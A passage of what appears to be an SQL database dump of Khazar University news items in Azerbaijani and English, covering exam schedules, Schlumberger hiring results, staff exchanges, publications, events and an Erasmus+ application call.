kimidir:</em></strong><em></em></p><p><strong>Filologiya&nbsp;</strong>(2,3,4,5 kurslar) – 5 sentyabr<strong></strong></p><p><strong>Tərcümə&nbsp;</strong>(2,3,4,5 kurslar) – 7 sentyabr<strong></strong></p><p><strong>Dizayn&nbsp;</strong>(2,3,4,5 kurslar) – 5 sentyabr</p><p><strong>Psixologiya&nbsp;</strong>(2,3,4,5 kurslar) – 5 sentyabr</p><p><strong>Magistrlar</strong>&nbsp;(1,2 kurslar)<strong>&nbsp;</strong>– 5 sentyabr</p><p><strong>Beynəlxalq münasibətlər&nbsp;</strong>(2,3,4,5 kurslar) – 5 sentyabr</p><p><strong>Regionşünaslıq&nbsp;</strong>(2,3,4,5 kurslar) – 5 sentyabr</p><p><strong>Politologiya&nbsp;</strong>(2,3,4,5 kurslar) – 7 sentyabr</p>  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong>Diqqət!!!</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong>Yay semesterinin fərdi fənləri üzrə imtahanlar aşağıda qeyd olunan tarixlərdə keçiriləcəkdir:</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong><em>6 sentyabr 2018-ci il saat 11:00-da otaq 203N</em></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong><em>&nbsp;</em></strong>Grammar pre-advanced</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Conflictology</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Arabic 2</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Legal and Court Translation</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Text Interpretation</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">European Culture and Art</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Ethics</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Experimental Psychology</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">English Foundations-2</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Law Enforcement systems</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Ancient and Medieval Social history of Political thoughts</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">International Organizations</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Introduction to Psychology</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Foreign policy of Azerbaijan</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Theory of translation</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">International Political Economy</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">News Writing</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Political Systems of AZ and foreign Countries</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Introduction to translations</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">NATO and Security Studies</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">History of psychology</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Political and Economic Geography</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Documentation and Terminology</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Research Methods in Political Science</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Diqqət!!!</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong>Yay semesterinin fərdi fənləri üzrə imtahanlar aşağıda qeyd olunan tarixlərdə keçiriləcəkdir:</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong><em>10 sentyabr 2018-ci il saat 11:00-da otaq 203N</em></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\"><strong>&nbsp;</strong>Modern Political theories</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">History of English Language</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Introduction to Sociology</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Advanced Azerbaijani Language</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Advanced Azerbaijani Literature</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">EU Law</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Modern Diplomacy</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">History of translation</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Survey of&nbsp; British Literature 1</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">ESP</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Economic translation</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">History of International Relations</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Azerbaijani language</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Research Methods – (Psychology)</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Translation of Oil and Gas materials</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">History of Turkic Nations</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\">Biopsychological Approach to stress, health, and illnesses</p>'),(5857,3355,'az','“Schlumberger”in keçirdiyi imtahanın nəticələri məlum oldu','2018-ci il iyunun 27-də Karyera Mərkəzinin təşəbbüsü ilə Xəzər Universitetində...','<p>2018-ci il iyunun 27-də Karyera Mərkəzinin təşəbbüsü ilə Xəzər Universitetində “Schlumberger” şirkətinin işə qəbul imtahanı keçirildi. İmtahanda iştirak edən, aşağıda&nbsp;adları qeyd olunan 2016,&nbsp;2018-ci il məzunları olan tələbələr&nbsp;imtahanda uğurlu nəticə göstərdikləri üçün şirkətdə işlə təmin olunmaq hüququnu qazandılar:</p><p><br></p><p><strong>Ələvəz Qədimov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/alavaz_g1.jpg\" style=\"float:left;width:200px;height:322px;margin-right:7px\"></strong></p><p>Elektronika və telekommunikasiya mühəndisliyi ixtisası</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/engineering/images/alikram_h.jpg\" style=\"border:0px  #000000;width:200px;height:270px;margin-bottom:7px;float:left;margin-left:7px;margin-right:7px\"><strong>Əlikram Həsənli</strong></p><p>Elektronika və telekommunikasiya mühəndisliyi ixtisası</p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Lalə Müslümzadə</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/Lala_m.jpg\" style=\"border:0px  #000000;vertical-align:baseline;margin-bottom:7px;width:200px;height:250px;margin-right:7px;float:left\"></strong></p><p>Kimya mühəndisliyi ixtisası</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/engineering/images/rashid_s.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:200px;height:273px;margin-right:7px;float:left\"><strong>Rəşid Salmanov</strong></p><p>Neft-qaz mühəndisliyi ixtisası (2016-cı il məzunu)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(5858,3355,'en','“Schlumberger” exam results are released','On June 27, 2018, on an initiative of Career Center of Khazar University...','<p>On June 27, 2018, on an initiative of Career Center of Khazar University, “Schlumberger” employment exam took place. The 2016, 2018 graduates, who are listed below, have gained the right to get employed in the company as they have been successful in the exam:</p>  <p><strong><br></strong></p><img src=\"/files/engineering/images/alavaz_g1.jpg\" style=\"float:left;width:200px;height:322px;margin-right:7px\"><p><strong>Alavaz Gadimov</strong><br></p><p>Electronics and Telecommunications  </p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p style=\"text-align:left\"><img src=\"http://www.khazar.org/files/engineering/images/alikram_h.jpg\" style=\"border:0px #000000;width:200px;height:270px;vertical-align:baseline;margin-right:7px;float:left\"><strong>Alikram Hasanli</strong></p><p>Electronics and Telecommunications  </p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><img src=\"http://www.khazar.org/files/engineering/images/Lala_m.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:200px;height:250px;margin-right:7px;float:left\"><p><strong>Lala Muslumzadeh</strong><br></p><p>Chemical Engineering  </p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><img src=\"http://www.khazar.org/files/engineering/images/rashid_s.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:200px;height:273px;margin-right:7px;float:left\"><p style=\"font-weight:bold\"><strong>Rashid Salmanov</strong></p><p>Oil and Gas Engineering (Graduate&nbsp;of 2016)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(5859,3356,'en','An article by Khazar University Researcher and Instructor published in online Journal','“The Challenges of e-Parliament Adoption and its Mitigation” investigates the application...','<p>“The Challenges of e-Parliament Adoption and its Mitigation” investigates the application of ICT in the parliaments of emerging economies and makes distinctions while identifying key requirements and technical challenges and consequently suggests solutions to the challenges.</p>\r\n<p>Co-authored by Abdusalam S.Mustafa, a Researcher and Dr. Mahammad Sharifov , Coordinator of Computer Science Department at Khazar University, the article has been published in the International Journal of Computing and Technology&nbsp;(IJCAT), Volume 5, Issue 6, June 2018.</p>\r\n<p>The abstract and full text is available at:</p><p><a href=\"http://ijcat.org/articles/5-6/The-Challenges-of-e-Parliament-Adoption-and-Its-Mitigation.html\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\" tabindex=\"-1\" disabled=\"disabled\">http://ijcat.org/articles/5-6/The-Challenges-of-e-Parliament-Adoption-and-Its-Mitigation.html</a></p>'),(5860,3357,'az','Lyublyana Universitetində Beynəlxalq Heyət Həftəsi','2018-ci il iyulun 2-6-da Xəzər Universitetinin müəllim heyəti Lyublyana...','<p>2018-ci il iyulun 2-6-da Xəzər Universitetinin müəllim heyəti Lyublyana Universitetinin (Sloveniya) İqtisadiyyat fakültəsinin Erasmus+ Proqramı çərçivəsində təşkil etdiyi Beynəlxalq Heyət Həftəsində iştirak etdi.</p><p>Proqram çərçivəsində vörkşoplar, məruzələr, təqdimatlar, kampus turları təşkil edilməklə yanaşı, Lyublyana Universitetinin müxtəlif departamentlərinin nümayəndələri ilə fərdi görüşlər də keçirildi.</p><p>Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin dekanı Dr.Ceyhun Məmmədov, İqtisadiyyat və menecment fakültəsinin dekan müavini Dr.Şəhriyar Muxtarov, Qəbul şöbəsinin müdiri Lamiyə Namazova, Kitabxana-informasiya mərkəzinin Kataloq şöbəsinin müdiri Samirə Orucova, Keyfiyyətin təminatı mərkəzinin assistenti Cəmilə Fərman və Beynəlxalq münasibətlər şöbəsinin direktoru Turan Cəfərova proqramda iştirak etdilər.</p>'),(5861,3357,'en','International Staff Week at University of Ljubljana','On July 2-6, 2018, staff members of Khazar University participated in the International...','<p>On July 2-6,&nbsp;2018, staff members of Khazar University participated in the International Staff Week organized by the Faculty of Economics of the University of Ljubljana (Slovenia) within the Erasmus+ Programme.</p>\r\n<p>The program of the staff week included workshops, lectures, presentations, campus tours as well as individual meetings with representatives of various departments of the University of Ljubljana.</p>\r\n<p>Participants from Khazar University included Dr.Jeyhun Mammadov, Dean of the School of Economics and Management, Dr.Shahriyar Mukhtarov, Vice-Dean of the School of Economics and Management, Ms.Lamia Namazova, Head of Admissions Office, Ms.Samira Orujova, Head of Cataloging Department at Library-Information Center, Ms.Jamila Farman, Assistant at Quality Assurance Center, and Ms.Turan Jafarova, Director of International Affairs Office.</p>'),(5862,3358,'az','Doktorantın həmmüəllif olduğu elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) Azərbaycan Dövlət Pedaqoji Universitetinin Quba rayon filialının baş müəllimi Cəfər Səlimovla birgə həmmüəllif olduğu “<em>Approaches, methods, procedures and techniques of English language teaching and learning</em>” adlı elmi məqaləsi AMEA Məhəmməd Füzuli adına Əlyazmalar İnstitunun “Filologiya məsələləri” jurnalının 2018-ci il 8-ci sayında çap edilmişdir.</p><p>Məqalədə müəlliflərin əsas fikri ingilis dilinin dünya səviyyəsində qlobal olması səbəbindən bu dilin tədrisinin vacibliyini vurğulamaqla yanaşı, ingilis dilinin tədrisinin bütün iştirakçılar tərəfindən böyük səylər tələb olunduğunu da nəzərə çatdırmaqdır. Yeni dərsliklərin, planlaşdırma proqramlarının tədris prosesinin keyfiyyətinə köməklik etdiyini vurğulamaq müəlliflərin əsas məqsədlərindəndir.</p><p><br></p>'),(5863,3358,'en','An article co-authored by a PhD candidate is published','An article “Approaches, methods, procedures and techniques of English...','<p>An article “<em>Approaches, methods, procedures and techniques of English language teaching and learning</em>”, co-authored by Valida Karimova (PhD candidate), Vice-dean of the School of Humanities and Social Sciences of Khazar University, and Jafar Salimov, Senior Instructor of Azerbaijan State Pedagogical University, Guba branch, has been published in “Philological issues”, issue 8, 2018, Institute of Manuscripts named after Muhammad Fuzuli.</p><p>The main idea of the article is to emphasize the importance of teaching English since it is a world-wide spoken language. Furthermore, the authors underline that all English learners need to make great efforts. One of the main purposes of the authors is to highlight the importance of new textbooks and learning programs which are of huge help to increase the quality of the teaching process.</p>\r\n<p><br></p>'),(3571,2094,'az','Marmara Grubu Vakfının Baş Direktoru Xəzər Universitetinin qonağı oldu','2017-ci il aprelin 24-də Türkiyə Marmara Grubu Vakfının Baş Direktoru Pr.Dr. Akkan Süver Xəzər Universitetinin qonağı oldu. Xəzər Universitetinin təsisçisi, Direktorlar...','<p>2017-ci il aprelin 24-də Türkiyə Marmara Grubu Vakfının Baş Direktoru Pr.Dr. Akkan Süver Xəzər Universitetinin qonağı oldu. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Marmara Vakfının Baş Direktoru Akkan Süveri səmimi salamlayaraq, ona universitet haqqında geniş məlumat verdi. A.Süver Xəzər Universitetində olmaqdan məmnunluq duyduğunu bildirdi. H.İsaxanlı qonağa universitetin tarixindən bəhs edən “Xəzərin sorağında” kitabını hədiyyə etdi. Tərəflər Azərbaycan və Türkiyə arasında siyasi və mədəni əlaqələr tarixi və qarşılıqlı maraq kəsb edən digər məsələlər haqqında müzakirə apardılar.</p><p>Görüşdə sədrin müşaviri, “Dünya” məktəbinin təsisçisi Nailəxanım İsayeva, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli də iştirak etdilər.</p><p>Xatirə şəkilləri çəkildi.&nbsp;</p>'),(3707,2150,'en','AzerTag Writes about Training Held at Khazar University','On May 8, 2017, an article was published on the official website of Azerbaijan state news agency AzerTag about the training held by foreign language teaching experts invited...','<p>On May 8, 2017, an article was published on the\r\nofficial website of Azerbaijan state news agency AzerTag about the training\r\nheld by foreign language teaching experts invited from Estonia to Khazar\r\nUniversity on April 13 -14, 2017.</p>\r\n<p>For the full version of the article visit the\r\nfollowing link:</p>\r\n<p><a href=\"http://azertag.az/ru/xeber/Prioritetom_Azerbaidzhanskogo_pravitelstva_yavlyaetsya_obrazovanie-1058242\">http://azertag.az/ru/xeber/Prioritetom_Azerbaidzhanskogo_pravitelstva_yavlyaetsya_obrazovanie-1058242</a>.</p>'),(3314,1946,'az','“Xəzər”in Mədəniyyət mərkəzində konsert','Martın 1-də Xəzər Universitetinin Mədəniyyət mərkəzində Musiqi və incəsənət departamentinin müdiri pianoçu \\zülfiyyə Sadıqovanın rəhbərliyi ilə universitetin Kamera orkestrinin...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:.25in\"=\"\">Martın 1-də Xəzər\r\nUniversitetinin Mədəniyyət mərkəzində Musiqi və incəsənət departamentinin müdiri\r\npianoçu Zülfiyyə Sadıqovanın rəhbərliyi ilə universitetin Kamera orkestrinin\r\nkonserti oldu. Universitet rəhbərliyinin və əməkdaşlarının iştirak etdikləri\r\nkonsertdə Azərbaycan bəstəkarlarının instrumental əsərləri və mahnıları səsləndirildi.\r\nMahnıları Xəzər Universitetinin müəllimi, Müslüm Maqomayev adına Azərbaycan Dövlət\r\nFilarmoniyasının solisti Məhsəti Cabbarova və M. F. Axundov adına Azərbaycan Dövlət\r\nOpera və Balet Teatrının solisti İlham Nəzərov ifa etdilər.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:.25in\"=\"\">Konsertdə, həmçinin,\r\n“Dünya” məktəbinin müəllimi, bəstəkar Sevda Rəhimovanın şair Hamlet İsaxanlının\r\n“İkimizdən birimiz” adlı şeirinə bəstələdiyi mahnı İlham Nəzərov və Gülşən\r\nİbadova dueti tərəfindən ilk dəfə ifa olundu.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt\";margin-left:17.85pt\"=\"\">Həmin gün Hamlet\r\nİsaxanlının ad&nbsp; günü olduğundan iştirakçılar onu təbrik etdilər.</p>'),(3313,1945,'en','Hamlet Isaxanli’s meeting with Dunya School Students','On February 28, 2017, a meeting with Prof. Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was held in Khazar...','<p>On February 28, 2017, a\r\nmeeting with Prof. Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, was held in Khazar\r\nUniversity’s affiliate Dunya School. Hamlet Isaxanli gave a talk on “The\r\nHistory of Algebraic Equations”, from the 9th to the 19th century.&nbsp;</p>'),(3164,1867,'en','“Essence of Science” lecture on \"Triangle of Science\" show','On February 5, 2017, the “Triangle of Science” program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees...','<p>On February 5, 2017, the “Triangle of Science” program\r\nby Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of\r\nits Board of Directors and Trustees, was broadcast on Public TV. In his lecture\r\nentitled “The Essence of Science”, he touched upon topics such as knowledge and\r\nscience, objective comprehension of reality, sources of knowledge, theoretical\r\nand experimental sciences, natural science, humanities and social sciences and\r\nspoke about the history of science.</p>\r\n<p>A questions and answers session followed.&nbsp;</p>'),(3204,1888,'en','Khazar University’s Success','In November-December 2016, the ninth edition of the Eduniversal World Convention held in Perth, Australia. More than 120 business schools from 50 countries including Harvard...','<p>In November-December 2016, the ninth edition of the\r\nEduniversal World Convention held in Perth, Australia. More than 120 business\r\nschools from 50 countries including Harvard Business School, London Business\r\nSchool, Copenhagen Business School, Melbourne Business School and Fudan\r\nUniversity School of Management etc. were represented in this global\r\nevent.&nbsp;1000 business institutions in 154 countries were ranked. A total of\r\ntwo Azerbaijani institutions were ranked – the School of Economics and\r\nManagement of Khazar University and the Department of Business Administration\r\nof Qafqaz University, respectively.&nbsp;</p>'),(3205,1889,'az','“Yeni çağ” Xəzər Universitetinin Türkiyə üzrə nümayəndəsindən yazdı','2017-ci il fevralın 14-də yenicag.az informasiya saytında Xəzər Universitetinin Türkiyə üzrə nümayəndəsi, Azərbaycan Mədəniyyət Dərnəyinin rəhbəri, Ankarada “Azercan” Çay...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il\r\nfevralın 14-də <strong><em>yenicag.az</em></strong> informasiya saytında Xəzər Universitetinin Türkiyə\r\nüzrə nümayəndəsi, Azərbaycan\r\nMədəniyyət Dərnəyinin rəhbəri, Ankarada “Azercan” Çay Evinin qurucusu Hüseyn\r\nAyhan və onun fəaliyyəti haqqında geniş yazı yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazını tam\r\nşəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://yenicag.az/ankarada-azerbaycan-cay-destgahi/\">http://yenicag.az/ankarada-azerbaycan-cay-destgahi/</a>.&nbsp;</p>'),(4306,2541,'en','Erasmus + Exchange Opportunities for Students','Applications are NOW accepted for ERASMUS PLUS Exchange Opportunities...','<p style=\"text-align:center\"><strong><img src=\"http://www.khazar.org/files/letters/erasmus-plus.png\" style=\"border:0px  #000000;width:200px;height:46px;margin:7px;vertical-align:baseline\">  <br></strong></p><p style=\"text-align:center\"><strong>BACHELOR AND MASTER STUDENTS:</strong></p><p style=\"text-align:center\"><strong>Applications are NOW accepted for ERASMUS PLUS Exchange Opportunities!&nbsp;</strong></p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\">Do you want to study a semester or a year abroad, meet new friends and learn about other cultures? Then apply to Erasmus Plus Programme!&nbsp;</p><h4><strong><br></strong></h4><h4><strong>WHO IS ELIGIBLE?</strong></h4><p>Bachelor and master students who:</p><ul><li>Are enrolled in a Khazar University undergraduate/graduate degree program at the time of application</li><li>Have completed at least the first year of their studies at Khazar University by February 2018</li><li>Have a cumulative GPA of 85 or higher</li><li>Have no disciplinary sanctions within the past 6 months&nbsp;</li></ul><br><h4><strong>HOW TO APPLY?</strong></h4><p>Fill out the application form and submit it in paper or electronically to the International Affairs Office:</p><ul><li>Paper submission: Room#511,&nbsp;5<sup>th</sup>&nbsp;floor, Neftchiler Campus (41 Mehseti street)</li><li>Electronic submission: <span style=\"text-decoration:underline;color:#0000cc\" class=\"undefined\">international[at]khazar.org</span></li></ul>&nbsp; &nbsp; &nbsp; (subject line: Erasmus Plus Application – Your First Name and Last Name)&nbsp;<br><p><br></p><p>Application Forms (electronic and paper) could be obtained from Khazar University’s website, Deans’ Offices and the International Affairs Office.&nbsp;</p><p><strong><br></strong></p><h4><strong>WHERE CAN I STUDY?</strong></h4><p>Khazar University has Erasmus + agreements with numerous universities in countries like Bulgaria, France, Italy, Poland, Romania, Slovenia, Spain, Turkey, and others. Partner-universities include:</p><ul><li>Montpellier University (France)</li><li>Varna University of Management (Bulgaria)</li><li>University of L\'Aquila (Italy)</li><li>University of Pavia (Italy)</li><li>Sapienza University of Rome (Italy)</li><li>Kozminski University (Poland)</li><li>University of Timisoara (Romania)</li><li>University of Ljubljana (Slovenia)</li><li>Polytechnic University of Valencia (Spain)</li><li>Kadir Has University (Turkey)</li><li>Middle East Technical University (METU) (Turkey)&nbsp;</li></ul><br><h4><strong>PLACEMENT</strong></h4><p>Final placement and length of mobility of each selected student are subject to availability and the decision of the Internal Selection Committee of Khazar University.&nbsp;</p><p><strong><br></strong></p><h4><strong>DOWNLOAD APPLICATION FORMS</strong></h4><p><strong><a href=\"http://www.khazar.org/files/letters/Bachelor%20Application%20Erasmus%20Plus%20Khazar.docx\">Bachelor</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Master%20Application%20Erasmus%20Plus%20Khazar.docx\">Master</a></strong></p><p style=\"text-align:center\"><strong>DEADLINE:</strong>&nbsp;17:00 (5:00pm), Tuesday, October 24, 2017</p><p style=\"text-align:center\"><strong>LATE APPLICATIONS WILL NOT BE ACCEPTED</strong></p>'),(3165,1867,'az','“Elm üçbucağı” proqramının növbəti verilişi efirə getdi','2017-ci il fevralın 5-də İctimai TV-nın “Elm üçbucağı” proqramının növbəti verilişi efirə getdi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p>2017-ci il fevralın 5-də İctimai TV-nın\r\n“Elm üçbucağı” proqramının növbəti verilişi efirə getdi. Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı\r\n“Elmin mahiyyəti” mövzusunda mühazirə oxudu. O, bilik və elm, obyektiv\r\ngerçəkliyin dərki problemi, biliklərin haradan əldə edilməsi, nəzəri və təcrübi\r\nelmlər, təbiət elmləri, humanitar və sosial elmlər kimi məsələlərə toxundu, elm\r\ntarixindən misallar gətirdi. </p>\r\n<p>Sonda H.İsaxanlı iştirak edən elm\r\nadamlarının və tələbələrin suallarına cavab verdi.&nbsp;</p>'),(3166,1868,'az','“Xəzər”in əməkdaşı beynəlxalq konfransda iştirak etdi','2017-ci il fevralın 3-dən 6-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Yamaykada keçirilən “Toksik çirklənmə mənbələrinin qlobal...','<p>2017-ci il fevralın 3-dən 6-dək\r\nXəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən\r\nAbbasov Yamaykada keçirilən “Toksik çirklənmə mənbələrinin qlobal inventarizasiyası”\r\n(<em>Global İnventory of Toksik contamination\r\nsources)</em> adlı beynəlxalq konfransda iştirak etdi və “Sumqayıt yaxınlığında\r\nçimərliyin toksik tulantılardan təmizlənməsi” (<em>Remediation near Sumgait – cleaning of tozic contaminants from the\r\nbeach</em>) mövzusunda məruzə etdi. </p>\r\n<p>Konfransda dünyanın 49 ölkəsindən\r\nmümayəndələr iştirak edirdilər.</p>'),(1527,955,'az','“Elm və Sənət Məclisi”nin 66-cı məşğələsi keçirildi','2016-cı il aprelin 18-də Xəzər Universitetinin ənənəvi “Elm və Sənət Məclisi”nin 66-cı məşğələsi keçirildi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı qonaqları salamlayaraq, Macarıstanın Szegedi Universitetinin professoru İstvan Zimonyini tədbir iştirakçılarına təqdim etdi, onun həyatı və yaradıcılığı haqqında məlumat verdi.','<p>2016-cı il aprelin 18-də Xəzər Universitetinin ənənəvi\r\n“Elm və Sənət Məclisi”nin 66-cı məşğələsi keçirildi. Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı qonaqları\r\nsalamlayaraq, Macarıstanın Szegedi Universitetinin professoru İstvan Zimonyini tədbir\r\niştirakçılarına təqdim etdi, onun həyatı və yaradıcılığı haqqında məlumat\r\nverdi. </p>\r\n<p>İstvan Zimonyi&nbsp;“Avropada köçəri xalqlar: erkən orta əsr Avropa tarixinin təşəkkülündə\r\nmacarların və türklərin rolu” adlı məruzə ilə ingilis dilində çıxış etdi\r\nvə Fərda Əsədov onun fikirlərini tərcümə ilə iştirakçılara çatdırdı. Məruzə ətrafında\r\nmüzakirələr oldu. Müzakirələrdə Hamlet İsaxanlı (Xəzər Universiteti), Güllü\r\nYoloğlu ( AMEA-nın Etnoqrafiya İnstitutu), Faiq Ələkbərov (AMEA-nın Fəlsəfə və\r\nHüquq İnstitutu), İsmixan Osmanlı (AMEA-nın Etnoqrafiya İnstitutu), Şahin\r\nMustafayev (AMEA-nın Şərqşünaslıq İnstitutu), Səbinə Nemanzadə (AMEA-nın\r\nƏlyazmalar İnstitutu), Asif Bayramov (Azərbaycan Universiteti), Şahin Fazil\r\n(AMEA-nın Tarix İnstitutu), Sevda Süleymanova (AMEA-nın Şərqşünaslıq\r\nİnstitutu), Fərhad Quliyev (AMEA-nın Arxeologiya İnstitutu) və digər alimlər\r\niştirak etdilər. </p>\r\n<p>Məclisin sonunda macar alim bir çox kitablarını Xəzər\r\nUniversitetinin kitabxanasına yerləşdirlməsi üçün Hamlet İsaxanlıya təqdim\r\netdi. H.İsaxanlı qonağa öz adından və Azərbaycanın tanınmış alimləri adından dərin\r\ntəşəkkürünü bildirdi. &nbsp;</p>'),(1594,990,'en','Visitors from Zakalar Lyceum at Khazar','On April 20, 2016, 11th grade students from Zakalar Lyceum had a meeting with the administration of Khazar University. First Aygun 